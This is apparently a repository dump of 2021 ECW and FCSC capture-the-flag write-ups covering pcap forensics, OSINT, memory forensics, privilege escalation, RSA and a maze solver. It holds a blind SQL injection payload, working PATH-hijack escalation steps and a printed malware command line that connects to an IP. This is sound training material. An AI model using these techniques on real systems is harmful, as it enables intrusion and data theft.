https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-User Device Registration%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-User Profile Service%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-User Profile Service%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-UserPnp%4ActionCenter.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-UserPnp%4ActionCenter.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-UserPnp%4DeviceInstall.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-UserPnp%4DeviceInstall.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WER-PayloadHealth%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WER-PayloadHealth%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WMI-Activity%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WMI-Activity%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WPD-ClassInstaller%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WPD-ClassInstaller%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Wcmsvc%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Wcmsvc%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WebAuthN%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WebAuthN%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WinRM%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WinRM%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Windows Defender%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Windows Defender%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Windows Defender%4WHC.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Windows Defender%4WHC.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WindowsBackup%4ActionCenter.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WindowsBackup%4ActionCenter.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WindowsUpdateClient%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WindowsUpdateClient%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Winlogon%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Winlogon%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-WorkFolders%4WHC.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-WorkFolders%4WHC.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/OAlerts.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/OAlerts.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Parameters.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Parameters.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Security.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Security.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Setup.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Setup.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/State.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/State.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/System.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/System.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Windows PowerShell.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Windows PowerShell.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/microsoft-windows-diagnosis-scripted%4operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/microsoft-windows-diagnosis-scripted%4operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/NightlyPlanet.md: -------------------------------------------------------------------------------- 1 | # Nightly Planet 2 | 3 | ## Part 1/2 4 | 5 | ``` 6 | The Nightly Planet is a famous Gotham NewsPaper. Its redaction team has noticed suspicious activity on their computers, and require your help to find out what happened, and lead the investigation! 7 | 8 | They have provided you with a network capture taken on their main server. Can you discover all the steps of the attack? 9 | ``` 10 | 11 | File: [ECW_chall_JBV.pcapng](ECW_chall_JBV.pcapng) 12 | 13 | 14 | 15 | For this challenge, we got a 13 MB pcapng file we can open with WIreshark. It's really long. My first reflex is to apply the filter `dns` to look for a strange domain name in the requests. I notice 2 domains : `wpad.home` and `evil.com`. The second one is a joke but if we scroll down from the `wpad.home` request without any filter we can see an HTTP request to `http://192.168.1.54/MonSuperCMS/Internal/login.php `. With the filter `ip.addr == 192.168.1.54` we can see interesting stuff ! 16 | 17 | There are a lot of requests like `GET /MonSuperCMS/Public/articles.php?id=1'%20AND%20(ASCII(SUBSTR((SELECT%20password%20FROM%20users%20LIMIT%200,1),3,1)))%20=%2038%20AND%20'1'='1`. It is SQL injection. For this example the server will respond the first article if the 3rd character of the user's password is a `&` (char 38 in the ASCII table). We export these requests (filter `ip.addr == 192.168.1.54 && http`) to a file called [lite.pcapng](lite.pcapng) and we can write an ugly Python code to extract the password : 18 | 19 | ```python 20 | from scapy.all import * 21 | 22 | packets = rdpcap('lite.pcapng') 23 | 24 | for packet in packets: 25 | req = packet[Raw].load.decode().split(" ")[1].split("/")[-1] 26 | if req.startswith("articles.php"): 27 | c = int(req.split("%20")[9]) 28 | if "Scribes" in packet[Raw].load.decode(): 29 | print(chr(c), end="") 30 | ``` 31 | 32 | And the flag is `ECW1{AlwaysThatBooleanBasedSQLi` (the chall maker said that's normal if it is truncated). 33 | 34 | 35 | 36 | ## Part 2/2 37 | 38 | The capture is the same file and we don't have further information but it is easy to see a `POST /MonSuperCMS/Intranet/upload.php` to the same server just after the SQL injection. With Wireshark we can export the [uploaded PDF document](CONFIDENTIAL.pdf). Its name is `CONFIDENTIAL.pdf` but when we open it, it is pretty disappointing. 39 | 40 | When we open the PDF with a text editor, we can see this line : `/JS <6170702E616C65727428224F6F70732021204E6F7468696E6720746F20736565206865726522293B0A2F2F57656C6C20446F6E652021204465636F64652074686520666F6C6C6F77696E6720737472696E672066726F6D2062617365363420746F206765742074686520326E6420666C61670A2F2F2052554E584D6E744E5957787059326C7664584E5152455A42636D565464476C736245465561476C755A7A39390A>` but I don't know what it means... It's obvious that it is hexadecimal. Let's open a shell to convert that : 41 | 42 | ``` 43 | $ echo "6170702E616C65727428224F6F70732021204E6F7468696E6720746F20736565206865726522293B0A2F2F57656C6C20446F6E652021204465636F64652074686520666F6C6C6F77696E6720737472696E672066726F6D2062617365363420746F206765742074686520326E6420666C61670A2F2F2052554E584D6E744E5957787059326C7664584E5152455A42636D565464476C736245465561476C755A7A39390A" | xxd -r -ps 44 | app.alert("Oops ! Nothing to see here"); 45 | //Well Done ! Decode the following string from base64 to get the 2nd flag 46 | // RUNXMntNYWxpY2lvdXNQREZBcmVTdGlsbEFUaGluZz99 47 | 48 | $ echo "RUNXMntNYWxpY2lvdXNQREZBcmVTdGlsbEFUaGluZz99" | base64 -d 49 | ECW2{MaliciousPDFAreStillAThing?} 50 | ``` 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /2021/ECW/forensics/lite.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/lite.pcapng -------------------------------------------------------------------------------- /2021/ECW/forensics/rt1/Readme.txt: -------------------------------------------------------------------------------- 1 | Step1: 2 | Is there any suspicious activity ? 3 | 4 | 5 | Rules: 6 | To unlock the step2, find the malicious url 7 | The format to use is the following: 8 | sha256(XXX::/domain:port/page1) 9 | 10 | The sha256 hash must be in lowercase. -------------------------------------------------------------------------------- /2021/ECW/forensics/solve.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | packets = rdpcap('lite.pcapng') 4 | 5 | for packet in packets: 6 | req = packet[Raw].load.decode().split(" ")[1].split("/")[-1] 7 | if req.startswith("articles.php"): 8 | c = int(req.split("%20")[9]) 9 | if "Scribes" in packet[Raw].load.decode(): 10 | print(chr(c), end="") 11 | -------------------------------------------------------------------------------- /2021/ECW/pentest/RedTeam.md: -------------------------------------------------------------------------------- 1 | # Read Team 2 | 3 | ## part 1/4 4 | 5 | ``` 6 | The CSO of a famous company is looking for skilled hackers to join his team. 7 | 8 | He sent the following challenge: 9 | 10 | I setup a website to challenge your skill as a pentester 11 | Find me over the Internet as I stand by the nickname Zer0DayH4ckz0r 12 | If you reach my website you should be able to gain control of a server 13 | You will then need to go deeper and find a pivot 14 | Finally if your are good enough you will send me my own password as a NTLM hash 15 | Good luck! 16 | ``` 17 | 18 | This first part is an OSINT challenge. We google the nickname `Zer0DayH4ckz0r` and we find [his Twitter](https://twitter.com/Zer0DayH4ckz0r/). If we scroll down we find [his GitHub](https://github.com/Zer0DayH4ckz0r). (We could have used [this tool](https://whatsmyname.app/) to find these accounts.) 19 | 20 | We open his first repository, open the commit history and [the penultimate commit](https://github.com/Zer0DayH4ckz0r/instagram-terminal-news-feed/commit/f68fd2cdea9ad63b9817543d436913f22ec10180) looks interesting (`Oops, removed credentials from repo`): 21 | 22 | ```diff 23 | - {'username': 'Zer0DayJLD', 'password': 'MyS3cureP4ssw0rdInstagr4m'} 24 | ``` 25 | 26 | Let's visit [https://www.instagram.com/Zer0DayJLD/](https://www.instagram.com/Zer0DayJLD/). On the 5th post we can see the screen of a computer on the photo with a company name: PharmaHealthyCat. If we google this name, we find a the LinkedIn page of [Eric Van Taten, Doctor at PharmaHealthyCat](https://fr.linkedin.com/in/eric-van-taten-68480120a). We find he follows the topic *PharmaHealtyCat* on on this page we found the link of the company website: [https://phealthycat.org/](https://phealthycat.org/). -------------------------------------------------------------------------------- /2021/ECW/pentest/redteam/notes.txt: -------------------------------------------------------------------------------- 1 | https://twitter.com/Zer0DayH4ckz0r/ 2 | https://github.com/Zer0DayH4ckz0r 3 | https://whatsmyname.app/ 4 | https://github.com/Zer0DayH4ckz0r/instapy-cli/commit/2fedfa6036982133d6c62d6472f323342037243c 5 | https://www.instagram.com/zer0dayjld/ 6 | https://www.instagram.com/p/CP-sM7ONF_b/ 7 | https://www.linkedin.com/company/pharmahealthycat/about/ 8 | https://phealthycat.org/home/index 9 | -------------------------------------------------------------------------------- /2021/FCSC/README.md: -------------------------------------------------------------------------------- 1 | # France Cybersecurity Challenge 2021 2 | 3 | Le FCSC est organisé tous les ans par l'ANSSI pour sélectionner les membres qui composeront l'équipe de France lors l'European Cybersecurity Challenge (ECSC). 4 | 5 | ### intro 6 | Je n'ai pas écrit de writeup pour pour les challenges d'introduction mais si vous êtes débutants, je vous invite à aller voir [ceux de Podalirius](https://podalirius.net/writeups/fcsc2021-writeup-introduction/), ils sont vraiment top ! 7 | 8 | ### hardware 9 | * [B.A. BA - 30 pts](./hardware/BABA/README.md) 10 | * [Phase à phase - 50 pts](./hardware/phase-a-phase/README.md) 11 | 12 | ### misc 13 | 14 | - [Privesc Me (1) - Warmup - 25 pts](./misc/privesec_me1/README.md) 15 | - [My Whois - 25 pts](./misc/whois/README.md) 16 | - [Ventriglisse - 148 pts](./misc/ventriglisse/README.md) 17 | 18 | ### crypto 19 | 20 | - [RSA Destroyer - 182 pts](./crypto/rsa-destroyer/README.md) 21 | 22 | ### forensic 23 | 24 | - [Malware 1/3 - 100 pts](./forensic/malware1/README.md) 25 | 26 | ### reverse 27 | 28 | - [Jakarta - 25 pts](./reverse/jakarta/README.md) 29 | 30 | 31 | 32 | Un grand merci à toute l'équipe du FCSC pour ces challenges de qualité, variés et très originaux !! 33 | -------------------------------------------------------------------------------- /2021/FCSC/crypto/rsa-destroyer/output.txt: -------------------------------------------------------------------------------- 1 | e = 65537 2 | n = 444874973852804286630293120525019547982392964519934608680681255396764239795499482860997657663742247333836933457910503642061679607999128792657151145831533603267962151902191791568052924623477918783346790554917615006885807262798511378178431356140169891510484103567017335784087168191133679976921108092647227149255338118895695993606854195408940572577899625236666854544581041490770396755583819878794842828965377818593455075306655077757834318066860484956428681524881285058664687568640627516452658874124048546780999256640377399347893644988620246748059490751348919880389771785423781356133657866769589669296191804649195706447605778549172906037483 3 | c = 95237912740655706597869523108017194269174342313145809624317482236690453533195825723998662803480781411928531102859302761153780930600026069381338457909962825300269319811329312349030179047249481841770850760719178786027583177746485281874469568361239865139247368477628439074063199551773499058148848583822114902905937101832069433266700866684389484684637264625534353716652481372979896491011990121581654120224008271898183948045975282945190669287662303053695007661315593832681112603350797162485915921143973984584370685793424167878687293688079969123983391456553965822470300435648090790538426859154898556069348437896975230111242040448169800372469 4 | -------------------------------------------------------------------------------- /2021/FCSC/crypto/rsa-destroyer/rsa_destroyer.py: -------------------------------------------------------------------------------- 1 | # **This** destroyes the RSA cryptosystem. 2 | 3 | from Crypto.Util.number import isPrime, bytes_to_long 4 | from Crypto.Random.random import getrandbits 5 | 6 | def fastPrime(bits, eps = 32): 7 | while True: 8 | a, e, u = getrandbits(eps), getrandbits(eps), getrandbits(4 * eps) 9 | p = a * (2 ** bits - e) + u 10 | if isPrime(p): 11 | return p 12 | 13 | def generate(bits = 2048): 14 | p = fastPrime(bits // 2) 15 | q = fastPrime(bits // 2) 16 | return p * q, 2 ** 16 + 1 17 | 18 | n, e = generate() 19 | 20 | p = bytes_to_long(open("flag.txt", "rb").read()) 21 | c = pow(p, e, n) 22 | 23 | print(f"e = {e}") 24 | print(f"n = {n}") 25 | print(f"c = {c}") 26 | -------------------------------------------------------------------------------- /2021/FCSC/forensic/malware1/README.md: -------------------------------------------------------------------------------- 1 | # Malware 1/3 - 100 pts 2 | 3 | aka Démonstration de la puissance de `grep` :slightly_smiling_face: 4 | 5 | > *Ce challenge est un challenge en 3 parties indépendantes, mais dont l'ordre logique est indiqué par les numéros : forensics (1) -> pwn (2) -> reverse (3).* 6 | > 7 | > **/!\ L'image mémoire ci-jointe contient un programme qui a la capacité de chiffrer le fichier** `/home/%USER%/Desktop/flag.txt` **/!\\** 8 | > 9 | > Oh non ! Votre précieux fichier `flag.txt` présent sur votre bureau semble avoir été chiffré par un programme malveillant... Votre premier réflexe a été d'effectuer une capture mémoire, peut être que le malware tourne encore... 10 | > 11 | > Le flag est au format `FCSC{sha256(username:hostname:cmdline)}`, où `username` est le nom de l'utilisateur ayant exécuté le malware, `hostname` est le nom de la machine sur laquelle celui-ci a été exécuté et `cmdline` est la ligne de commande complète qui a été exécutée afin de lancer le programme malveillant. 12 | > 13 | > `snapshot.sav.7z` (149MB) : https://files.france-cybersecurity-challenge.fr/dl/malware/snapshot.sav.7z 14 | > 15 | > SHA256(`snapshot.sav`) = `7eab73f5526ea0ac19edddc350155410ff4c77a15ac93f1c908b81884ef016a8`. 16 | 17 | Après avoir passé trop de temps à essayer de monter une VM avec le même kernel, je me suis dit que j'allais y aller à grand coup de `strings` et `grep`. 18 | 19 | Pour le nom d'utilisateur : 20 | 21 | ``` 22 | $ strings snapshot.sav | grep /home/ 23 | /home/forensics/.cache 24 | /home/forensics/.cache/tracker 25 | /home/forensics/.local/share/icons/Yaru 26 | /home/forensics/.icons/Yaru 27 | /home/forensics/.local/share/icons 28 | file:///home/forensics/Vid%C3%A9os 29 | [...] 30 | ``` 31 | 32 | C'est sans doute `forensics`. 33 | 34 | 35 | 36 | Pour l'hostname : 37 | 38 | ``` 39 | $ strings snapshot.sav | grep forensics@ 40 | [...] 41 | 0;forensics@fcsc2021: ~/Bureau 42 | [01;32mforensics@fcsc2021 43 | forensics@fcsc2021: ~/Bureau 44 | forensics@fcsc2021:~/Bureau$ /bin/1 --client -i 192.168.56.103 45 | forensics@fcsc2021: ~/Bureau 46 | forensics@fcsc2021: ~/Bureau 47 | [...] 48 | 49 | ``` 50 | 51 | C'est `fcsc2021` et on a même trouvé la commande malveillante : `/bin/1 --client -i 192.168.56.103`. 52 | 53 | 54 | 55 | ``` 56 | $ echo -n "forensics:fcsc2021:/bin/1 --client -i 192.168.56.103" | sha256sum 57 | 34aa0f2895fc61bdfb26c47708d78c6b99db30dddaecaa93cf5a4ab5acb76923 - 58 | ``` 59 | 60 | (on oublie pas le `-n` sinon `echo` fait un saut de ligne et le sha256 est différent) 61 | 62 | ``` 63 | FCSC{34aa0f2895fc61bdfb26c47708d78c6b99db30dddaecaa93cf5a4ab5acb76923} 64 | ``` -------------------------------------------------------------------------------- /2021/FCSC/hardware/BABA/Figure_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/hardware/BABA/Figure_1.png -------------------------------------------------------------------------------- /2021/FCSC/hardware/BABA/Figure_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/hardware/BABA/Figure_2.png -------------------------------------------------------------------------------- /2021/FCSC/hardware/phase-a-phase/Figure_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/hardware/phase-a-phase/Figure_1.png -------------------------------------------------------------------------------- /2021/FCSC/hardware/phase-a-phase/bpsk.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/hardware/phase-a-phase/bpsk.gif -------------------------------------------------------------------------------- /2021/FCSC/hardware/phase-a-phase/challenge.iq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/hardware/phase-a-phase/challenge.iq -------------------------------------------------------------------------------- /2021/FCSC/misc/privesec_me1/README.md: -------------------------------------------------------------------------------- 1 | # Privesc Me (1) - Warmup - 25 pts 2 | 3 | > Un challenge d'échauffement vous attend dans le dossier `stage0`. À vous de trouver un moyen d'augmenter vos privilèges. 4 | > 5 | > `ssh -p7005 challenger@challenges1.france-cybersecurity-challenge.fr` (mot de passe : `challenger`.) 6 | > 7 | > *Note : cet environnement est partagé entre les 4 challenges `Privesc Me`. Le dossier /tmp est nettoyé fréquemment.* 8 | 9 | On se connecte en SSH comme demandé et un gros message en rouge nous accueille : 10 | 11 | ``` 12 | ***************************************************************************************************** 13 | ***************************************************************************************************** 14 | You can create yourself a random directory inside /tmp directory to start creating scripts if needed. 15 | ***************************************************************************************************** 16 | ***************************************************************************************************** 17 | 18 | challenger@privescme:~$ 19 | ``` 20 | 21 | ``` 22 | challenger@privescme:~$ ls 23 | stage0 stage1 stage2 stage3 24 | challenger@privescme:~$ cd stage0 25 | challenger@privescme:~/stage0$ ls -l 26 | total 28 27 | -r--r----- 1 root stage0_privileged 70 Apr 25 20:12 flag.txt 28 | -r-xr-sr-x 1 root stage0_privileged 16792 Apr 25 20:14 stage0 29 | -r--r--r-- 1 root stage0_privileged 223 Apr 25 20:12 stage0.c 30 | ``` 31 | 32 | Le binaire `stage0` a un bit *setgid* ce qui signifie que nous l'exécutons comme si nous étions le groupe propriétaire c'est-à-dire `stage0_privileged`, ça tombe bien car contrairement à nous, il a le droit le lire `flag.txt` ! 33 | 34 | On suppose que `stage0.c` est le code source du binaire : 35 | 36 | ```c 37 | challenger@privescme:~/stage0$ cat stage0.c 38 | #define _GNU_SOURCE 39 | #include 40 | #include 41 | #include 42 | 43 | int main(int argc, char const *argv[]) { 44 | setresgid(getegid(), getegid(), getegid()); 45 | system("head -c5 flag.txt"); 46 | return 0; 47 | } 48 | ``` 49 | 50 | Et si on lance le binaire : 51 | 52 | ``` 53 | challenger@privescme:~/stage0$ ./stage0 54 | FCSC{challenger@privescme:~/stage0$ 55 | ``` 56 | 57 | Cela exécute la commande `head -c5 flag.txt` qui affiche les 5 premiers caractères du fichier. Pour information, quand on exécute une commande Linux, le shell va regarder dans tous les dossiers contenus dans la variables `PATH` à la recherche d'un fichier exécutable du nom de la commande. On a le droit de créer un dossier dans `/tmp.` alors créons un fichier `head` exécutable et ajoutons le dossier à notre `PATH` ! 58 | 59 | ``` 60 | challenger@privescme:~/stage0$ mkdir /tmp/ribt 61 | challenger@privescme:~/stage0$ cat > /tmp/ribt/head 62 | #!/bin/bash 63 | cat flag.txt 64 | challenger@privescme:~/stage0$ chmod +x /tmp/ribt/head 65 | challenger@privescme:~/stage0$ PATH=/tmp/ribt:$PATH 66 | challenger@privescme:~/stage0$ ./stage0 67 | FCSC{e5dc17021365baa6719ea48311873d621a3e00fa6f9c41bd2efb4e6c48bf4090} 68 | ``` 69 | 70 | -------------------------------------------------------------------------------- /2021/FCSC/misc/ventriglisse/final.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from base64 import b64decode 3 | from PIL import Image, ImageDraw 4 | from io import BytesIO 5 | from solve import solve 6 | 7 | conn = remote('challenges1.france-cybersecurity-challenge.fr', 7002) 8 | conn.recvuntil('Press a key when you are ready...') 9 | conn.send('\n') 10 | 11 | while True: 12 | try: 13 | conn.recvuntil('------------------------ BEGIN MAZE ------------------------') 14 | maze = b64decode(conn.recvuntil('------------------------- END MAZE -------------------------', drop=True)) 15 | print(conn.recvuntil(':').decode()) 16 | img = Image.open(BytesIO(maze)) 17 | img.save("maze2.png") 18 | path = solve(img) 19 | print(path) 20 | conn.send(path+'\n') 21 | print(conn.recvuntil('...').decode()) 22 | except EOFError: 23 | print(conn.recv().decode()) 24 | break 25 | -------------------------------------------------------------------------------- /2021/FCSC/misc/ventriglisse/maze.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/misc/ventriglisse/maze.png -------------------------------------------------------------------------------- /2021/FCSC/misc/ventriglisse/maze_final.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/misc/ventriglisse/maze_final.png -------------------------------------------------------------------------------- /2021/FCSC/misc/ventriglisse/solve.py: -------------------------------------------------------------------------------- 1 | from PIL import Image, ImageDraw 2 | from pprint import pprint 3 | 4 | def solve(img): 5 | data = parse(img.load()) 6 | chemin = trouverChemin(data) 7 | if chemin[-1] != "N": 8 | chemin += "N" 9 | return chemin 10 | 11 | def parse(img): 12 | data = {} 13 | xDebut, yDebut = 64, 128 14 | haut, larg = 0, 0 15 | while img[xDebut+larg*64, yDebut] == (0, 0, 255): 16 | larg += 1 17 | xFin = xDebut+larg*64 - 1 18 | while img[xFin, yDebut+haut*64] == (0, 0, 255): 19 | haut += 1 20 | yFin = yDebut+haut*64 - 1 21 | 22 | data["dimension"] = (larg, haut) 23 | 24 | for x in range(larg): 25 | if img[xDebut+32+x*64, yDebut-10][2] < 10: 26 | data["sortie"] = (x, 0) 27 | 28 | for x in range(larg): 29 | if img[xDebut+32+x*64, yFin+30][2] < 10: 30 | data["entrée"] = (x, haut-1) 31 | 32 | data["walls"] = [] 33 | 34 | for y in range(haut): 35 | for x in range(larg): 36 | if x > 0 and img[xDebut+x*64, yDebut+32+y*64] == (0, 0, 255): 37 | data["walls"].append(((x-1, y), (x,y))) 38 | if y > 0 and img[xDebut+32+x*64, yDebut+y*64] == (0, 0, 255): 39 | data["walls"].append(((x, y-1), (x,y))) 40 | 41 | return data 42 | 43 | def positionFinale(data, pos, direction): 44 | x, y = pos 45 | while mouvementPossible(data, (x, y), direction): 46 | x, y = avancer((x, y), direction) 47 | return (x,y) 48 | 49 | def avancer(pos, dir): 50 | x, y = pos 51 | if dir == "N": y -= 1 52 | if dir == "S": y += 1 53 | if dir == "O": x -= 1 54 | if dir == "E": x += 1 55 | return (x,y) 56 | 57 | def mouvementPossible(data, pos, direction): 58 | nextPos = avancer(pos, direction) 59 | if nextPos[0] < 0 or nextPos[1] < 0: 60 | return False 61 | if nextPos[0] >= data["dimension"][0] or nextPos[1] >= data["dimension"][1]: 62 | return False 63 | if (pos, nextPos) in data["walls"] or (nextPos, pos) in data["walls"]: 64 | return False 65 | return True 66 | 67 | def trouverChemin(data): 68 | pos = data["entrée"] 69 | nextPos = positionFinale(data, pos, "N") 70 | 71 | posEssayes = [pos] 72 | aEssayer = {'pos': [nextPos], 'path': ["N"]} 73 | 74 | while len(aEssayer) > 0: 75 | pos, path = aEssayer['pos'].pop(0), aEssayer['path'].pop(0) 76 | for direction in "NSEO": 77 | if mouvementPossible(data, pos, direction): 78 | nextPos = positionFinale(data, pos, direction) 79 | if nextPos == data["sortie"]: 80 | return path+direction 81 | if nextPos not in posEssayes and nextPos 